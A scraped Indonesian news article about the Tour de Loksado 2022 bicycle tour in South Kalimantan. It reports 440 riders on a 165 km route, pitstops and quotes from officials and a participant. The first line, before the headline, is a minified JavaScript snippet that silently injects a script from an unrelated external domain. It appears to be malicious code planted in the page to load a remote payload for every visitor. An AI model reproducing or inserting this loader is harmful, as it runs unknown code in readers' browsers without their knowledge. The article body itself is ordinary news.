(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

HEADLINE

440 Pesepeda Jajal “Tour de Loksado 2022”, Uji Ketahanan Trek Sepanjang 165 Km

KANALKALIMANTAN.COM, MARTAPURA – Event bergengsi Tour de Loksado ajang balap sepeda terbesar di Kalimantan Selatan (Kalsel) dilepas, Sabtu (23/7/2022) pagi, dari kawasan wisata Kiram Park, Kabupaten Banjar.

Gelaran Dinas Pariwisata Provinsi Kalsel ini menjajal trek sepanjang 165 Km melewati empat kabupaten di Provinsi Kalsel yakni Kabupaten Banjar, Kota Banjarbaru, Kabupaten Tapin, dan Kabupatan Hulu Sungai Selatan.

Sebanyak 440 pesepeda ambil bagian dalam Tour de Loksado 2022, star diawali di obyek wisata Kiram Park, Kecamatan Karang Intan, Kabupaten Banjar, Sabtu (23/7/2022) pagi.

Para peserta menempuh rute sepanjang 165 Km menuju objek wisata Loksado di Kabupaten Hulu Sungai Selatan (HSS).

Pitstop 1 di halaman kantor Bupati Banjar Km 49,5 Martapura, Bupati Banjar H Saidi Mansyur menyambut gembira rombongan pesepeda. Foto: ist

Terhitung 440 peserta, 184 dari luar Kalsel selebihnya pesepeda dari luar Kalsel. Star dilepas oleh Gubernur Kalsel H Sahbirin Noor didampingi Sekretaris Pengurus Besar Ikatan Sepeda Sport Indonesia (PB ISSI), Parama Nugroho.

Usai dilepas saat menuju pitstop 1, seorang peserta terpaksa menunda keberangkatannya persis di depan pagar kantor Bupati Banjar, lantaran bagian rantai sepedanya putus, dan menunggu perbaikan oleh tim.

Memasuki pitstop 1 di halaman kantor Bupati Banjar Km 49,5 Martapura, Bupati Banjar H Saidi Mansyur menyambut gembira rombongan pesepeda.

Saidi mengatakan sangat mengapresiasi kegiatan ini, karena selain menyehatkan juga sebagai ajang promosi beberapa obyek wisata yang ada di Kalsel.

“Semua peserta saya yakin sudah menyiapkan fisik dan perlengkapan tour dengan baik. Semoga kegiatan ini berjalan lancar aman dan selamat sampai ke tujuan,” ujarnya.

Pitstop 4 Tour de Loksado di lapangan Lambung Mangkurat Kandangan depan kantor Bupati HSS. Foto: ist

Sebelum melepas bendera di pitstop 1 ini, Saidi berpesan kepada peserta, agar tertib dan menjaga etika dengan baik selama di perjalanan, mengikuti rambu-rambu dan arahan dari panitia pelaksana.

Sementara itu Vicky, salah seorang peserta asal Banjarmasin mengaku cukup sudah cukup terkuras tenaga setelah mengayuh sepeda dari Kiram Park menuju Martapura, lantaran banyak tanjakan dan cuaca yang cukup panas.

“Kalau dari Martapura sampai Kandangan sanggup, tapi pas naik ke Loksadonya yang paling berat dan itu etape terakhir,” ucapnya.

Vicky berharap event seperti ini lebih sering digelar dan tidak hanya sekali dalam setahun dengan arah finish yang berbeda lagi. “Tidak hanya di Loksado, tapi bisa ke arah Batulicin sana,” ujar Vicky memberi saran.

Sementara itu peserta lainnya dengan mengayuhkan sepedanya terlihat semakin antusias meski lelah. Hingga sore ini, peserta pun terpantau sudah memasuki pitstop terakhir yaitu pitstop 4 di lapangan Lambung Mangkurat Kandangan, Kabupaten HSS. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie